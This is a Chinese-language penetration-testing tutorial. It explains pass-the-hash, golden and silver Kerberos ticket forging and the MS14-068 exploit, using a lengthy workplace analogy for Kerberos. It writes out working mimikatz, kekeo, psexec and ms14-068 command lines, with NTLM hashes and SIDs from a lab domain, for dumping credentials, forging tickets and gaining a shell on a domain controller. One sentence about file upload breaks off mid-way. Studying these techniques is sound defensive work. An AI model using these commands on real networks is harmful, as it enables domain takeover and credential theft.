pth喷射

pth喷射也就是pass the hash，也就是常说的hash传递攻击。在获取了Windows计算机的本地管理员权限，可以在内存中寻找其它本地或域内账户登录后的hash，因为电脑正在运行。这些hash可以进行传递（不需要破解）给其它的计算机或者服务，作为一种认证方法。也就是一开始只攻破一个看起来不重要的服务器或工作站，由于域管理员账户为了执行一些支持任务，登录了这个机器，就可以在更高的水平攻破整个域。

如下的场景应用：

当一个主机被攻陷后，但是由于本地administrator账户和其它所有主机的密码相同。攻击者从内存中获取了所有的hash，域管理员账户并不在里面。攻击者获取了所有的本地hash，包括administrator账号的hash。攻击者使用获取的本地administrator的hash，利用PtH登录了其它的主机，然后重复这个过程（也被称为hash喷射攻击）。在这个过程中，会得到一个本地和域用户的hash列表。最终，一个主机会在内存中包含一个有权限的域账户，可以用于访问数据库，文件服务器，以及域控制器，然后再次使用PtH。

我们通过实验来具体看下：

使用mimikazte

Privilege:debug

sekurlsa::msv

来读取到域管的hash值

为了方便复制使用命令导出mimikatz.exe "log" "privilege::debug" "sekurlsa::msv"

使用域管理员bh的NTLM哈希值对域控进行哈希传递攻击

sekurlsa::pth /user:bh /domain:TEST /ntlm:64f92a7257f6e6e48d2be10daa793463弹出cmd对话框，输入dir \\192.168.1.135\c$，可以访问到域管的磁盘文件

这里实际上没什么用处，可以延伸下利用方式psexec+pth传递攻击，既然可以无需用户密码访问，那就可以利用psexec来拿shell。在pstool工具包中有psexec。先使用mimikatz读取hash，进行hash传递攻击，拿到一个cmd后，读取下域控的c盘，可以读取到，然后使用命令psexec64.exe \192.168.183.135 -s cmd.exe -acceptcula，反弹得到一个cmd命令，查看ip，拿到域控的cmd。

这里再讲一个小知识点IPC$连接

IPC$(Internet Process Connection)是共享”命名管道”的资源，它是为了让进程间通信而开放的命名管道，可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。利用IPC$,连接者甚至可以与目标主机建立一个连接，利用这个连接，连接者可以得到目标主机上的目录结构、用户列表等信息。

IPC$连接需要139和445端口的支持，139端口是netbios协议，主要用于提供Windows文件和打印机共享以及Unix中的Samba服务。445端口也是文件共享服务。第二点是管理员开启了默认共享， 默认共享是为了方便管理员远程管理而默认开启的共享,即所有的逻辑盘(c$,d$,e$……)和系统目录winnt或windows(admin$),我们通过ipc$连接可以实现对这些默认共享的访问。

具体的操作命令可以去查询使用，这里演示一下上传实例吧

先查看下域控中c盘是没有psfile.exe这个文件，我们通过命令copy psifle.exe \\192.168.183.135\c$可以将文件上

票据伪造

讲到票据伪造（PTT），涵盖了白银票据和黄金票据，这里我们先讲讲kerberos认证，有利于对黄金票据和白银票据的理解。

kerberos认证

Kerberos是一种网络身份验证协议,旨在通过密钥加密技术为客户端/服务器应用程序提供身份验证,主要用在域环境下的身份验证。

整个认证流程中有3个重要的角色：client，server，KDC

KDC密钥分发中心，在KDC中又分为AS身份认证服务和TGS票据授权服务（白银票据）

TGT由身份认证服务（AS）授予的票据，也就是黄金票据。用于身份认证，存储在内存中，默认有效期为10小时。

DC(域控制器)中有一个特殊的用户:krbtgt,它是一个无法登录的账户,是在创建域时系统自动创建的,在整个kerberos认证中会多次用到它的Hash值去做验证。

AD(活动目录)会维护一个Account Database(账户数据库),它存储了域中所有用户的密码Hash和白名单。只有账户密码都在白名单中的Client才能申请到TGT。

Client密钥，TGS密钥和Service密钥均为对应用户的NTLM Hash。

TGS密钥=KDC Hash=krbtgt用户的NTLM Hash

Client，TGS，Server的Sessionkey可以看作客户端与TGS服务和尝试登陆的Server之间会话时用来加密的密钥，而Client，TGS，Service的密钥是用来加密会话密钥的密钥，为了保证会话密钥的传输安全，这些加密方式均为对称加密。

我们用图来解释下更清晰，参考 http://www.nosqlnotes.com/technotes/kerberos-protocol/

1.用户登陆

用户输入的密码通过计算生成NTLM哈希作为Client密钥。

2.请求身份认证

客户端向AS（身份认证服务）发送认证请求，请求中带有明文的用户名信息，但是此时还没有发送密码或者密钥相关的信息。

AS（身份认证服务）确认客户端登录者的身份。

2.1.首先AS收到用户认证请求之后，根据请求中的用户名信息，从数据库(Account Database)中查找该用户名是否存在。

2.2.如果用户名存在，则根据该用户名提取NTLM Hash做为AS生成的Client密钥，如果用户提供的密码信息正确，该秘钥与用户登录中的 Client密钥是相等的。

2.3.AS为Client响应如下消息：

A使用 KDC生成的CLIENT密钥加密的CLIENT/TGS SESSIONKEY

B使用 TGS密钥加密的TGT（金票)，客户端没有KDC NTLM Hash因此Client无法解密TGT。

TGT中包含如下信息：

Client/TGS SessionKey

Client ID

Ticket有效时间

CLient 地址

2.4.Client收到AS的响应消息以后，利用自身的 Client密钥可以对A进行解密，这样可以获取到CLIENT/TGS SESSIONKEY。但由于B是使用TGS密钥 加密的，Client无法对其解密。

3.请求服务授权

3.1客户端向票据服务中心(TGS)发送请求服务授权请求

客户端发送的请求中包含如下两个消息：

1.要求请求的服务ID

2.由身份认证服务为客户端提供TGT（金票）

3.2票据服务中心(TGS)为客户端响应服务授权票据

4.发送服务请求

客户端向请求登录的目标服务器发送服务请求。

5.目标服务器相应客户端

这里后面只是简单的流程，具体过程可以去看，但是比较绕，但是在整个认证的过程，进行票据伪造的点主要是两点：

1.身份认证中心确认客户端登录者身份的过程。

当我们获取到krbtgt用户的NTLM哈希后，便可主动使用krbtgt用户的NTLM哈希做为TGS密钥来生成TGT发送给KDC，这样KDC如果通过解密伪造TGT获取到伪造的客户端的seesionkey可以成功解密 Authenticator 1并完成与TGT中的数据进行比对，便成功骗过了KDC，也就是成功伪造了黄金票据。

2.客户端向登录的目标服务器发送请求。

客户端向服务器发送的为使用SERVICE密钥(服务器的NTLMHASH)加密的 CLIENT-TO-SERVER TICKET Ticket中包含用来供服务器解密Authenticator 2的 CLIENT/SERVER SESSIONKEY。如果获取到了Service Server的NTLM Hash，便可伪造Ticket，和Authenticator 2，Service Server在接收到Ticket和Authenticator 2后可以使用自己的NTLM Hash正常解密完成比对，也就是成功伪造了白银票据。

接下来通过一篇文章，来再了解下认证的过程。

某公司遭到竞争对手的渗透，大量公司员工账号被盗，公司领导瑟瑟发抖，因为现在不知道聊天窗对面是自己的员工还是竞争对手，在这种情况下怎么来保证员工和老板间的对话是安全并且互相可信的呢？这时候就引入了一个第三者，HR，由于公司施行工资保密制度，员工之间不知道彼此工资的具体数字，但是HR知道全公司员工的工资数字，现在假定每个员工的工资都是不同的，我们用员工，老板，和HR来完成一个安全可信的加密机制，(假定HR是可信任的) 。

员工，老板和HR便是Kerberos认证中的三个角色，俗称地狱三头犬。

那么继续说，公司目前处在这样一个人与人之间毫无信任可言的情况下，还是要继续运转。 某天，员工张二狗需要从老板大黄那里取得一份公司机密信息，但是如果二狗直接给老板发消息索要信息，那老板肯定不会给他，因为公司聊天工具里的人现在都是不可信任的，二狗不知道网线那边是不是真的老板，老板也不知道给自己发消息的是不是真的二狗，这时候就尴尬了，然后这时，聪明的老王出现了，老王是个国外读了10年本科的密码学砖家，他就给公司提出来一套流程，鉴于目前大家都没有办法确定某个人就是某个人，那么我们来用密码学的手段确定彼此的身份吧，这个流程是什么呢，如果二狗想给老板发消息，就要先通过HR来确定二狗就是二狗，怎么确定呢，二狗知道自己的工资，HR也知道二狗的工资，那么二狗就先给HR发个消息，我要找老板谈话，帮我弄个身份鉴定证书吧，但是二狗不能直接找HR要这个鉴定证书，因为二狗要先证明二狗就是二狗本人。 于是二狗先给HR发了个消息，我是二狗，我要证明我就是二狗！

HR收到了二狗的消息，然后从公司数据库中一查，果然有二狗这个人，但是即使有这个人，又怎么确定二狗就是二狗本人呢，HR就用二狗的工资作为加密密钥，对一串非常复杂的数字(12345)进行加密作为消息A，然后又把这个数字12345和当前跟二狗聊天窗口的截图还有聊天的时间记到一个文件中，再用自己的工资对这个文件进行加密作为消息B。之后HR把用二狗工资加密的消息A和用自己工资加密的消息B一起发送给二狗，为什么要这样做呢，二狗如果能成功解密消息A，就能得到12345，因为只有真正的二狗知道自己的工资，假二狗不知道，消息B又是用来做什么的呢，我们继续看，二狗发送完消息之后，盯着聊天窗，然后钉，钉，响了两声，HR发来了两串东西，二狗看不懂，但是二狗想起来之前老王提出来的认证流程，先用自己的工资解密了第一个消息，得到了那串数字12345，然后用这串12345把跟HR聊天窗口的截图和时间放在一起进行了加密，作为消息D，那么消息C是什么呢，消息C就是HR发来的第二个消息，消息B，不过这次消息C中还要多一个东西，就是老板的名字大黄，大黄和消息B合在一起就组成了消息C，为什么呢，因为二狗这次发送的消息C和D就是为了证明他就是二狗本人，二狗自然确定自己就是真二狗，那么自然也要把老板的名字加到消息中，因为他要HR给他用来跟老板对话的身份鉴定证书，如果不加上老板的名字，HR即便确定了二狗是二狗，也不知道二狗要跟谁对话，现在消息C(消息B和老板的名字大黄)和消息D(二狗用12345加密的聊天窗口截图和聊天时间)就发到了HR那里。

HR收到了消息C和D，得到了三个东西，原来用自己工资加密的消息B，老板的名字，和之前自己随便想出来的12345加密的消息D，这里就来到了第一个关键点，HR怎么通过这几个东西来确定二狗就是二狗呢，HR首先用自己的工资解密了消息C，得到了之前的聊天窗截图和聊天时间，还有自己之前随便想出来的12345，然后用这个12345来解密消息D，又得到了二狗对他们两个的聊天窗的截图和聊天时间，通过对比这两个聊天窗截图和时间是否都匹配，HR就确定了这个二狗是真的二狗(假二狗不知道真二狗的工资，所以就无法解密得到12345，也就没法用12345加密消息D，HR自然也没办法解密了)，并且就是之前跟自己聊天的那个二狗(因为之前发过去的用自己工资加密的消息B原封不动的发回来了，而这个消息B除了自己谁都无法解密修改)这里有人要问了，那HR直接用自己想出来的12345解密消息D不是也可以确定二狗就是真二狗吗，这个怎么解释呢，这个公司有一百万个员工，每个员工时不时都想跟老板说说话，而HR脑子存储量不够大，记不住12345这么复杂的数字，更何况是一百万个12345，那脑子不得爆炸了，所以把12345用自己的密钥加密发过去，再收回来用自己的密钥解密取出来，这样就不用记了。

现在HR确定了二狗就是二狗，那么看看二狗想跟谁聊天吧，消息C中写的是老板大黄的名字，HR就从公司数据库中查，老板大黄：工资4块3毛1角，然后HR又用老板的工资，加密了和二狗聊天窗口的截图，聊天时间和另一串非常复杂的数字45678 作为消息E(也就是鉴定证书)，和用从消息C中找到12345加密了新的复杂数字45678作为消息F，又回到二狗这里，二狗收到这两个消息，用12345解密了第二个消息F，得到了45678，然后用45678加密了自己和HR的聊天窗截图和聊天时间作为消息G，之后把消息E和消息G发给老板，是不是和之前很像，这时老板收到了二狗的消息，老板先用自己的工资解密了消息E(HR用老板工资加密的截图，聊天时间还有45678)，得到了45678，然后用这串复杂的数字成功解密了消息G，得到二狗的截图和聊天时间，再对比这两个聊天截图和聊天时间是不是一样的，一样的话老板才能确定二狗是真二狗，经过HR权威认定的二狗，可以充满信任的聊天了，这里其实也有对老板身份的鉴别，因为假老板不会知道真老板的工资，自然也就没有办法解密消息E。

至此整个认证流程基本结束，我们将其中的几个关键信息提取出来，换成正常含义下对应的词语：

二狗 Client

HR KDC

老板大黄 Service/Server

二狗的工资 Client NTLM Hash

HR的工资  krbtgt NTLM Hash

老板的工资 Service/Server NTLM Hash

HR工资加密的截图，时间和12345 TGT 黄金票据

老板工资加密的截图，时间和45678 TGS 白银票据

12345 Client/TGS Sessionkey

45678 Client/Service Sessionkey

聊天窗截图 Client ID

聊天时间 Timestamp 时间戳

了解完认证流程，对黄金票据和白银票据作用也有了相应的了解，接下来看票据的具体利用。

黄金票据

即伪造的TGT票据，当攻击者拥有了高权限的TGT，就可以发送给KDC的TGS 换取任意服务端的票据（ST)，有了金票就有了当前域内的最高控制权限。

利用原理：直接跳过了KDC的AS认证过程。由于黄金票据是伪造的TGT，它作为TGS-REQ的一部分被发送到KDC的TGS，以获取服务票据ST。伪造的黄金票据是有效的TGT票据，因为它是由域账号krbtgt的NTLM Hash加密和签名的。TGT用于向KDC的TGS服务证明Client已经过AS认证，TGT可以被该域内的任何KDC服务器解密。

利用方式：

1、导出krbtgt的NTML Hash

使用命令lsadump::dcsync /domain:hack.test /user:krbtgt

可以看到krbtgt用户的sid值

2.伪造金票

mimikatz "kerberos::golden /domain:hack.test /sid:S-1-5-21-445543791-1891747409-4224107389-502 /aes256:55eb2e3270260267994ce696d41cb8515dfe17f0087197214 /user:administrator /ptt" exit

将生成的Administrator.kiribi票据放到域成员机器上，注入内存。

kerberos::ptt Administrator.kiribi

查看注入的票据：kerberos::tgt

可以看到已经把票据注入进内存中，这里之前查看用户的sid无法看到krbtgt，现在已经存在。

使用传递攻击即可。

注意事项：

使用黄金票据伪造的用户可以是任意用户（即使这个用户不存在），因为 TGT 的加密是由 krbtgt 完成的，所以只要 TGT 被 krbtgt 账户和密码正确的加密，那么任意 KDC 使用 krbtgt 将 TGT 解密后，TGT 中的所有信息都是可信的。

3.使用keko工具进行传递

思路和用mimikatz的思路一样。

Kekeo.exe tgt::ask /user:administrator /domain:test.org /ntml:161cff084477fe596a5db81874498a24

先清除内存中的票据，然后导入票据。

查看票据，已经导入成功。

白银票据

特点：

1.不需要与KDC进行交互

2.需要目标服务的NTLM Hash

在第三步认证中，Client带着ST和Authenticator3向Server上的某个服务进行请求，Server接收到Client的请求之后,通过自己的Master Key解密ST,从而获得 Session Key。通过 Session Key解密Authenticator3,进而验证对方的身份,验证成功就让Client 访问server上的指定服务了。

所以我们只需要知道Server用户的Hash就可以伪造出一个ST,且不会经过KDC,但是伪造的门票只对部分服务起作用。

1.伪造凭据

先查看域控的主机名，为Server2008.test.org

nltest /dsgetdc:test.org

运行mimikazte

privilege::debug

sekurlsa::logonpasswords

得到域控的相关信息。

伪造票据

kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLMHash> /user:<伪造的用户名> /ptt kerberos::golden /domain:test.org /sid:S-1-5-21-445543791-1891747409-4224107389-500 /target:Server2008.test.org /rc4:c6b6539ca20f7018697f7416bf8ccef5 /service:cifs /user:123 /ptt

显示伪造成功

连接，发现访问成功域控服务器目录。

MS14-068

在kerberos 协议中，Client去访问Server，需要知道是否具有访问权限。所以微软在KRB_AS_REP中的TGT中增加了Client的PAC（特权属性证书），也就是Client的权限，包括Client的User的SID、Group的SID。ms14-068 漏洞就是在经过身份验证的Client在TGT中伪造高权限的PAC。

微软官方给出的补丁号:KB3011780，适用于2012以下

利用:下载ms14-068利用工具https://github.com/ianxtianxt/MS14-068

先查看域用户qq的sid值

test\qq S-1-5-21-445543791-1891747409-4224107389-1105

使用ms14-068生成票据

ms14-068.exe -u qq@test.org-s S-1-5-21-445543791-1891747409-4224107389-1105 -d 192.168.183.135

-p 1qaz@WSX

-u 域用户@域名

-s 域用户SID

-d 域控制器地址

-p 域成员密码

生成.ccache文件，漏洞触发成功。

注入内存

先清除票据，防止其他票据干扰实验

kerberos::purge

kerberos::ptc TGT_qq@test.org.ccache

注入成功

访问域控共享目录

使用psexec尝试拿到域控cmd。